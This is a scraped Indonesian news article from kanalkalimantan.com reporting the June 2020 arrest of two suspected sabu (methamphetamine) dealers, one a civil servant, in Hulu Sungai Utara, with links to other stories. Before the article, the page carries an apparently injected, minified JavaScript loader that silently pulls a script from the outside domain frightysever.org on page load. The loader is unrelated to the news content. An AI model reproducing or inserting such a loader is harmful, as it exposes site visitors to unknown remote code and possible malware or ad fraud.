(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Satuan Reserse Narkoba (Sat Resnarkoba) Polres Hulu Sungai Utara (HSU) meringkus dua pria diduga pengedar narkoba jebis sabu di Desa Beringin Kecamatan Banjang, Kabupaten HSU, Sabtu (6/6/2020) sekitar pukul 22.45 Wita.
Penangkapan dua tersangka berinisial SA (41) dan OM (36) tersebut saat anggota Sat Resnarkoba Polres HSU berlangsung di sebuah rumah RT 001 Desa Beringin, Kecamatan Banjang.
Mirisnya, salah satu dari tersangka yakni SA, warga Desa Beringin, diketahui berstatus sebagai ASN. Sementara tersangka OM merupakan pekerja serabutan warga Desa Teluk Sarikat, Kecamantan Banjang.
Alhasil dalam operasi tersebut didapati barang bukti 2 paket sabu seberat 0.80 gram atau berat bersih 0.44 gram dari tangan tersangka SA. Sementara 7 paket sabu seberat 4.81 Gram atau berat bersih 3.58 Gram dari tangan tersangka OM.
Dua tersangka pemilik sabu yang ditangkap Polres HSU, SA (41) dan OM (36). foto: resnarkoba polres hsu for kanalkalimantan
Kapolres HSU AKBP Pipit Subiyanto SIK MH melalui Kasat Resnarkoba Iptu Siswadi, kepada Kanalkalimantan.com, Senin (8/6/2020) mengatakan memang telah meringkus dua tersangka usai menerima informasi dari masyarakat.
Menurut Siswadi, keduanya diringkus saat berada di dalam rumah SA. Masih menurut keterangan polisi, keduanya merupakan pemain lama yang saling berhubungan.
“Sama-sama mas (diringkus), karena pada saat digrebek mereka berdua ada di dalam rumah,†ujar Kasat Resnarkoba Polres HSU.
Barang bukti yang disita Sat Resnarkoba Polres HSU. foto: resnarkoba polres hsu for kanalkalimantan
Lebih lanjut, Siswadi mengakui pihaknya saat ini terus menelusuri asal-usul barang haram tersebut yang mereka dapat dari kedua tersangka.
Kedua tersangka bersama barang bukti lainnya seperti kartu ATM, 2 buah timbangan digital, uang tunai sebesar Rp 2.867.000 serta handphone masing masing milik tersangka kini diamankan ke Mapolres HSU.
Keduanya bakal dijerat Pasal 114Â Ayat (1) Atau 112Â Ayat (1) JO 132 Ayat (1) UU RI No.35 Tahun 2009 Tentang Narkotika, dengan ancaman hukuman maksimal 12 tahun dan denda maksimal Rp 8 miliar. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.